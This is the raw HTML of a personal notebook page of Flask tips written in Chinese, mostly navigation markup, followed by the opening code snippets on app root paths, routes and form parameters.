0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          Flask\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        Flask\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#app_root\" class=\"md-nav__link\">\n    应用根目录APP_ROOT\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#approuteintpost\" class=\"md-nav__link\">\n    app.route里的int和POST\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#render_template\" class=\"md-nav__link\">\n    render_template引入所有全局变量+局部变量\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    添加多个静态目录\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#gisphone\" class=\"md-nav__link\">\n    判断是否手机访问 g.isphone\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#get\" class=\"md-nav__link\">\n    限制特定get整数参数的取值\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#decorator\" class=\"md-nav__link\">\n    要求登录的decorator\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#import\" class=\"md-nav__link\">\n    import引入列表\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#requesturl\" class=\"md-nav__link\">\n    request怎么拿到url的各个部分\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#request\" class=\"md-nav__link\">\n    request其他的部分\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#profiling\" class=\"md-nav__link\">\n    遇到性能瓶颈做profiling看函数耗时\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#lazyload\" class=\"md-nav__link\">\n    lazyload 延迟加载耗时的初始化操作\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#apprunhttp11\" class=\"md-nav__link\">\n    让app.run启动的服务器使用HTTP/1.1\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#render_template_1\" class=\"md-nav__link\">\n    让render_template直接能使用当前所有变量\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#flaskeventsource\" class=\"md-nav__link\">\n    在Flask中正确地产生流式响应EventSource\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#flaskcookie\" class=\"md-nav__link\">\n    Flask跨域Cookie\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#app_root\" class=\"md-nav__link\">\n    应用根目录APP_ROOT\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#approuteintpost\" class=\"md-nav__link\">\n    app.route里的int和POST\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#render_template\" class=\"md-nav__link\">\n    render_template引入所有全局变量+局部变量\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    添加多个静态目录\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#gisphone\" class=\"md-nav__link\">\n    判断是否手机访问 g.isphone\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#get\" class=\"md-nav__link\">\n    限制特定get整数参数的取值\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#decorator\" class=\"md-nav__link\">\n    要求登录的decorator\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#import\" class=\"md-nav__link\">\n    import引入列表\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#requesturl\" class=\"md-nav__link\">\n    request怎么拿到url的各个部分\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#request\" class=\"md-nav__link\">\n    request其他的部分\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#profiling\" class=\"md-nav__link\">\n    遇到性能瓶颈做profiling看函数耗时\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#lazyload\" class=\"md-nav__link\">\n    lazyload 延迟加载耗时的初始化操作\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#apprunhttp11\" class=\"md-nav__link\">\n    让app.run启动的服务器使用HTTP/1.1\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#render_template_1\" class=\"md-nav__link\">\n    让render_template直接能使用当前所有变量\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#flaskeventsource\" class=\"md-nav__link\">\n    在Flask中正确地产生流式响应EventSource\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#flaskcookie\" class=\"md-nav__link\">\n    Flask跨域Cookie\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"flask\">Flask 备忘<a class=\"headerlink\" href=\"#flask\" title=\"Permanent link\">&para;</a></h1>\n<p>常用的一些操作，自己总结的，便于查阅</p>\n<h2 id=\"app_root\">应用根目录APP_ROOT<a class=\"headerlink\" href=\"#app_root\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">APP_ROOT</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">os</span>.<span class=\"nv\">path</span>.<span class=\"k\">dirname</span><span class=\"ss\">(</span><span class=\"nv\">os</span>.<span class=\"nv\">path</span>.<span class=\"nv\">abspath</span><span class=\"ss\">(</span><span class=\"nv\">__file__</span><span class=\"ss\">))</span>\n</code></pre></div>\n\n<h2 id=\"approuteintpost\">app.route里的int和POST<a class=\"headerlink\" href=\"#approuteintpost\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">@app</span><span class=\"p\">.</span><span class=\"n\">route</span><span class=\"p\">(</span><span class=\"ss\">&quot;/list/&lt;int:boardid&gt;&quot;</span><span class=\"p\">)</span>\n\n<span class=\"nv\">@app</span><span class=\"p\">.</span><span class=\"n\">route</span><span class=\"p\">(</span><span class=\"ss\">&quot;/receive_post&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">methods</span><span class=\"o\">=[</span><span class=\"n\">&quot;POST&quot;</span><span class=\"o\">]</span><span class=\"p\">)</span>\n\n<span class=\"n\">post_param</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nc\">int</span><span class=\"p\">(</span><span class=\"n\">request</span><span class=\"p\">.</span><span class=\"n\">form</span><span class=\"p\">.</span><span class=\"k\">get</span><span class=\"p\">(</span><span class=\"ss\">&quot;post_param&quot;</span><span class=\"p\">,</span><span class=\"ss\">&quot;0&quot;</span><span class=\"p\">))</span>\n<span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">get参数用request</span><span class=\"p\">.</span><span class=\"n\">args</span>\n</code></pre></div>\n\n<h2 id=\"render_template\">render_template引入所有全局变量+局部变量<a class=\"headerlink\" href=\"#render_template\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nf\">str</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nf\">str</span>\n<span class=\"nf\">len</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nf\">len</span>\n<span class=\"nc\">int</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span 